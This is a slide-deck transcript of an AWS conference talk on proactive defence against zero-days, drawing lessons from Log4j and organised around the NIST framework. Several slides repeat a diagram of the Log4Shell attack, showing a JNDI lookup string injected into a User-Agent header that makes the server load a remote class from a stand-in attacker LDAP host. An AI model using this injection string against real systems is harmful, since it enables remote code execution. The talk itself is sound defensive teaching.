A proactive approach to zero-days: Lessons learned from Log4j (Swiss Cloud Day 2022)

In the run-up to the 2021 holiday season, many companies were hit by security vulnerabilities in the widespread Java logging framework, Apache Log4j. Organizations were in a reactionary position, trying to answer questions like: How do we figure out if this is in our environment?
How do we remediate across our environment?
How do we protect our environment?
In this session, learn about proactive measures that you should implement now to better prepare for future zero-day vulnerabilities.

Transcript

1. Z U R I C H | 2 9 S E P T E M B E R 2 0 2 2
   

   View Slide

2. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   A proactive approach to zero-days:
   Lessons learned from Log4j
   Dennis Kieselhorst (he/him)
   S E C 3 0 4
   Senior Solutions Architect
   Amazon Web Services
   

   View Slide

3. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   Zero-day?
   

   View Slide

4. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   A zero-day is a computer-
   software vulnerability
   previously unknown to those
   who should be interested in its
   mitigation, like the vendor of
   the target software.
   Wikipedia
   https://en.wikipedia.org/wiki/Zero-day_(computing)
   Wikipedia
   

   View Slide

5. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   Log4j zero-day
   

   View Slide

6. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   Log4j JNDI vulnerability
   Open server
   http://user.xa
   Outside party
   The LDAP server responds with directory information
   that contains the outside-party malicious Java class
   Outside LDAP server
   ldap://outside.xa
   An unauthorized user inserts
   the JNDI lookup in a header
   field that is likely to be logged
   GET /test HTTP/1.1
   Host: user.xa
   User-Agent: ${jndi:ldap://outside.ca/x}
   Log4j interpolates the
   string and queries the
   outside LDAP server
   ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
   The string is passed to
   Log4j for logging
   public class Malicious implements Serializable {
   ...
   static {
   
   }
   ...
   }
   dn:
   javaClassName: Malicious
   javaCodebase: http://outside.xa
   javaSerializedData: <...>
   Log4j
   implementation
   Java deserializes (or
   downloads) the outside
   Java class and runs it
   1. 2. 3.
   4.
   5.
   Source: “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
   

   View Slide

7. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   Log4j related CVE records
   The Common Vulnerabilities and Exposures (CVE) program‘s mission is to identify,
   define, and catalog publicly disclosed cybersecurity vulnerabilities.
   Dictionary entry Description Score (CVSS/EPSS)
   CVE-2021-44228 JNDI vulnerability mentioned on previous slide 10.0 Critical 95.10%
   CVE-2021-44832
   Remote code execution (RCE) possible in
   combination with JDBC Appender
   6.6 Medium 68.64%
   CVE-2021-45046 Fix to address CVE-2021-44228 was incomplete 9.0 Critical 71.95%
   CVE-2021-45105
   Denial of service possibility when a crafted
   string is interpreted
   5.9 Medium 33.57%
   The Common Platform Enumeration (CPE) is a structured naming
   scheme in XML format for IT systems, software, and packages.
   This formal format allows checking and testing.
   

   View Slide

8. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   Immediate reactions
   How do I figure out
   if this is in my
   environment?
   Is AWS using Log4j?
   Which version?
   Which AWS services
   are affected?
   Should I get rid of
   open-source
   software?
   How do I protect my
   environment?
   How do I remediate
   across my
   environment?
   © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   

   View Slide

9. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
   Shared responsibility model: Managed service
   AWS CUSTOMER
   AWS IDENTITY AND ACCESS MANAGEMENT
   CUSTOMER DATA, APPLICATION IDENTITY, AND ACCESS
   DATA ENCRYPTION
   & DATA INTEGRITY
   AUTHENTICATION
   APPLICATION MANAGEMENT
   INTERNET ACCESS,
   MONITORING & LOGGING
   Platform tools
   PLATFORM MANAGEMENT
   CODE ENCRYPTION
   (PROVIDED BY PLATFORM)
   Protection of data at rest
   NETWORKING TRAFFIC
   PROTECTION & FIREWALL
   CONFIGURATION
   Protection of data in transit
   OPERATING SYSTEM & NETWORK CONFIGURATION
   COMPUTE STORAGE DATABASE NETWORKING
   EDGE LOCATIONS
   REGION
   AVAILABILITY ZONES
   AWS
   GLOBAL INFRASTRUCTURE
   RESPONSIBLE
   FOR SECURITY
   “OF”
   THE CLOUD
   RESPONSIBLE
   FOR SECURITY
   “IN”
   THE CLOUD
   

   View Slide

10. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Common themes
    

    View Slide

11. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Two other zero-day examples besides Log4j
    Confluence (CVE-2022-26134)
    • Atlassian Confluence is a web-
    based corporate wiki software/
    collaboration platform.
    • The vulnerability allowed an
    unauthenticated user to run
    arbitrary code.
    • Insufficient input validation led to
    Object-Graph Navigation
    Language (OGNL) evaluation.
    Spring4Shell (CVE-2022-22965)
    • Spring is a famous framework for
    Java-based enterprise applications.
    • Web applications may be open to
    remote code execution (RCE) when
    deployed as web application archive
    (WAR) on Tomcat.
    • The issue relates to data binding
    used to populate an object from
    request parameters (either query
    parameters or form data).
    

    View Slide

12. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    What did these have in common?
    Crafted traffic caused
    systems to respond with
    sensitive data
    Actors used these openings
    to gather credentials or run
    commands remotely
    Widely used technology
    requiring widespread
    patching to address issue
    Persistence techniques were
    commonly used after initial
    compromise
    

    View Slide

13. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    OWASP Top 10
    Source: https://www.owasptopten.org/the-release-of-the-owasp-top-10-2021, CC BY-SA 4.0
    

    View Slide

14. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Using the NIST Cybersecurity
    Framework to align priorities
    

    View Slide

15. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    NIST Cybersecurity Framework overview
    • Framework for Improving Critical
    Infrastructure Cybersecurity
    • Initially published by The National
    Institute of Standards and
    Technology (NIST) in 2014
    • Framework core consists of five
    concurrent and continuous
    functions to provide a high-level,
    strategic view of the lifecycle of an
    organization’s management of
    cybersecurity risk
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

16. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Identify
    Develop the organizational
    understanding to manage
    cybersecurity risk to systems, assets,
    data, and capabilities.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

17. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Configuration management
    Governance and compliance
    management
    • Are my resources properly
    configured?
    • Do my resources comply with
    regulatory requirements
    • How do I ensure continuous
    compliance?
    • How can I get notified in near real-
    time if resource(s) go out of
    compliance?
    Inventory and configuration
    management
    • What is currently out there?
    • What is the latest configuration
    state of my resources?
    • What relationships exist between
    my resources?
    • What configuration changes
    occurred in the past?
    • Which resources have violated
    compliance policies?
    Example:
    

    View Slide

18. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Example: AWS Config
    Changing resources AWS Config
    Normalized
    AWS Config rules
    Notifications
    API access
    History, snapshot
    

    View Slide

19. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Infrastructure as code
    Reliably and consistently
    provisioning and configuring
    infrastructure is foundational for
    DevOps and fast
    software delivery
    Manual infrastructure processes can
    lack consistency, a single
    source of truth, and reliable
    detection/remediation of
    provisioning errors
    Examples: AWS CloudFormation, AWS
    CDK, HashiCorp Terraform
    

    View Slide

20. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Software dependency management
    Software bill of materials (SBOM)
    • inventory of components used to build a software architect
    • formal and machine-readable metadata
    • provide transparency in software supply chain
    Software Package Data Exchange (SPDX)
    • open standard for communicating SBOM information
    • ISO/IEC 5962:2021
    

    View Slide

21. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j JNDI vulnerability
    Open server
    http://user.xa
    Outside party
    The LDAP server responds with directory information
    that contains the outside-party malicious Java class
    Outside LDAP server
    ldap://outside.xa
    An unauthorized user inserts
    the JNDI lookup in a header
    field that is likely to be logged
    GET /test HTTP/1.1
    Host: user.xa
    User-Agent: ${jndi:ldap://outside.ca/x}
    Log4j interpolates the
    string and queries the
    outside LDAP server
    ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {
    
    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://outside.xa
    javaSerializedData: <...>
    Log4j
    implementation
    Java deserializes (or
    downloads) the outside
    Java class and runs it
    1. 2. 3.
    4.
    5.
    “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
    

    View Slide

22. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Protect
    Develop and implement the
    appropriate safeguards to ensure
    delivery of critical infrastructure
    services.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

23. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Network, DNS and Web Application Firewalls
    Network Firewall
    • Packet filtering
    • IP block/ allow lists
    • Stateless/ stateful rules
    • FQDN filtering on
    HTTP/HTTPS
    • Protocol detection/
    enforcement
    DNS Firewall
    • DNS Filtering
    • Domain name based
    filtering
    • Custom deny actions
    (NXDOMAIN, OVERRIDE,
    NoData)
    • Filtering on Resolver and
    Resolver Endpoints
    Web Application Firewall (WAF)
    • Request filtering
    • SQL injection and cross-
    site scripting (XSS) attack
    detection
    • OWASP Top10 web
    application vulnerabilities
    • Bot protection and IP
    reputation list
    • Pattern matching (Regex)
    • Rate-limiting
    AWS Network Firewall AWS Route 53
    Resolver DNS Firewall
    AWS WAF
    Example services:
    

    View Slide

24. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j JNDI vulnerability
    Open server
    http://user.xa
    Outside party
    The LDAP server responds with directory information
    that contains the outside-party malicious Java class
    Outside LDAP server
    ldap://outside.xa
    An unauthorized user inserts
    the JNDI lookup in a header
    field that is likely to be logged
    GET /test HTTP/1.1
    Host: user.xa
    User-Agent: ${jndi:ldap://outside.ca/x}
    Log4j interpolates the
    string and queries the
    outside LDAP server
    ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {
    
    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://outside.xa
    javaSerializedData: <...>
    Log4j
    implementation
    Java deserializes (or
    downloads) the outside
    Java class and runs it
    1. 2. 3.
    4.
    5.
    “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
    Block incoming request Block outgoing query
    

    View Slide

25. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Detect
    Develop and implement the
    appropriate activities to identify the
    occurrence of a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

26. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Logging (Observability)
    • Record all environment
    activity.
    • Monitor IP traffic in and out
    of network interfaces.
    • Monitor DNS traffic using
    DNS resolver (like Route 53).
    • Collect metrics in Cloud (on
    AWS) and on premises.
    Amazon
    CloudWatch
    DNS Resolver query
    logging
    Flow logs
    AWS CloudTrail
    Example services:
    

    View Slide

27. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Tools for scanning and analysis
    • Based on log data sources:
    ▪ Enable continuous monitoring and analysis
    ▪ Use threat intelligence feeds and machine
    learning to detect unauthorized activity
    ▪ Simplify forensics
    • On virtual machines and container images:
    ▪ Discover vulnerabilities
    ▪ Prioritize patch remediation
    • Inside application source code:
    ▪ Proactively improve code quality
    ▪ Fix security vulnerabilities
    Amazon GuardDuty
    Example services:
    Amazon Inspector
    Amazon CodeGuru
    

    View Slide

28. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Respond
    Develop and implement the
    appropriate activities to take action
    regarding a detected cybersecurity
    issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

29. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Foundation of Incident Response
    • Educate your security operations and incident response staff.
    • Prepare your incident response team to detect and respond to
    incidents by enabling detective capabilities, and ensuring appropriate
    access to the necessary tools and services.
    • Simulate both expected and unexpected security events within your
    cloud environment to understand the effectiveness of your
    preparation.
    • Iterate on the outcome of your simulation to improve the scale of
    your response posture, reduce time to value, and further reduce risk.
    30
    

    View Slide

30. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Playbooks/ Runbooks
    • Establish formalized incident response processes
    • Can also help to comply with regulatory frameworks (like GDPR)
    • Don‘t have any? Dive in…
    • Resources:
    ▪ https://github.com/aws-samples/aws-incident-response-playbooks
    ▪ https://github.com/aws-samples/aws-customer-playbook-framework
    ▪ https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-
    response-guide/welcome.html
    

    View Slide

31. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Automation
    Speed
    Deploy many times a day
    instead once every few
    months
    Repeatability
    Never send a human to do a
    machine’s job. Humans are
    error-prone
    Confidence
    If you’re not sure whether it’ll
    work, you’ll hesitate. That
    slows you down and keeps you
    from fixing problems
    Transparency
    Automated processes are
    easier to measure and improve
    

    View Slide

32. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Example: AWS Developer Tools for modern
    software delivery
    DEPLOY
    TEST
    BUILD
    SOURCE/
    ARTIFACT
    AUTHOR
    AWS Cloud9
    AWS IDE Toolkits
    AWS
    CodeBuild
    AWS
    CodeCommit
    AWS
    CodeDeploy
    AWS CodeBuild
    + Third Party
    AWS CodePipeline
    MODEL AWS CloudFormation AWS SAM
    AWS Cloud Development Kit
    AWS
    CodeArtifact
    

    View Slide

33. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Example: AWS Systems Manager
    E N A B L E S C E N T R A L I Z E D C L O U D O P E R A T I O N S
    Group resources
    Create groups of resources
    across different AWS
    services, such as
    applications or different
    layers of an application
    stack
    Take action
    Respond to insights and
    automate operational
    actions across resource
    groups
    Visualize data
    View aggregated
    operational data by
    resource group
    AWS Systems
    Manager
    Systems Manager
    helps you safely
    manage and
    operate your
    resources at scale
    

    View Slide

34. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j JNDI vulnerability
    Open server
    http://user.xa
    Outside party
    The LDAP server responds with directory information
    that contains the outside-party malicious Java class
    Outside LDAP server
    ldap://outside.xa
    An unauthorized user inserts
    the JNDI lookup in a header
    field that is likely to be logged
    GET /test HTTP/1.1
    Host: user.xa
    User-Agent: ${jndi:ldap://outside.ca/x}
    Log4j interpolates the
    string and queries the
    outside LDAP server
    ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {
    
    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://outside.xa
    javaSerializedData: <...>
    Log4j
    implementation
    Java deserializes (or
    downloads) the outside
    Java class and runs it
    1. 2. 3.
    4.
    5.
    “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
    Block incoming request Block outgoing query
    Patch log4j
    Disable JNDI lookups
    Disable log4j
    Disable remote codebases
    

    View Slide

35. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Recover
    Develop and implement the
    appropriate activities to maintain
    plans for resilience and to restore any
    capabilities that were impaired due to
    a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

36. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Strategies for disaster recovery
    Backup & restore Pilot light Active/active
    Warm standby
    RPO / RTO:
    Hours
    RPO / RTO:
    10s of minutes
    RPO / RTO:
    Minutes
    RPO / RTO:
    Real-time
    • Lower-priority use cases
    • Provision all AWS
    resources after event
    • Restore backups after
    event
    • Cost $
    • Data live
    • Services idle
    • Provision some AWS
    resources and scale after
    event
    • Cost: $$
    • Always running, but
    smaller
    • Business critical
    • Scale AWS resources
    after event
    • Cost $$$
    • Zero downtime
    • Near-zero data
    loss
    • Mission Critical
    Services
    • Cost $$$$
    Active/passive strategies
    

    View Slide

37. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Quick Wins & Long Term
    Strategies
    

    View Slide

38. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Quick wins
    • Implement basic egress
    controls, e.g. DNS firewall
    • Implement Amazon
    GuardDuty across AWS
    Organizations
    • Use AWS Managed Rules
    for AWS WAF
    • Use NACLs to control
    traffic
    

    View Slide

39. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Long-term strategies
    • Determine risk across environment
    to drive priorities
    • Define process for fleet-wide
    patching
    • Identify and enable a quick response
    team from across your organization
    • Get rid of unneeded (transitive)
    dependencies inside your
    applications
    • Develop and test playbooks for
    patching and response
    

    View Slide

40. Thank you!
    © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Dennis Kieselhorst
    dkieselh@amazon.com
    kieselhorst
    

    View Slide

41. Please complete
    the session survey
    © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    

    View Slide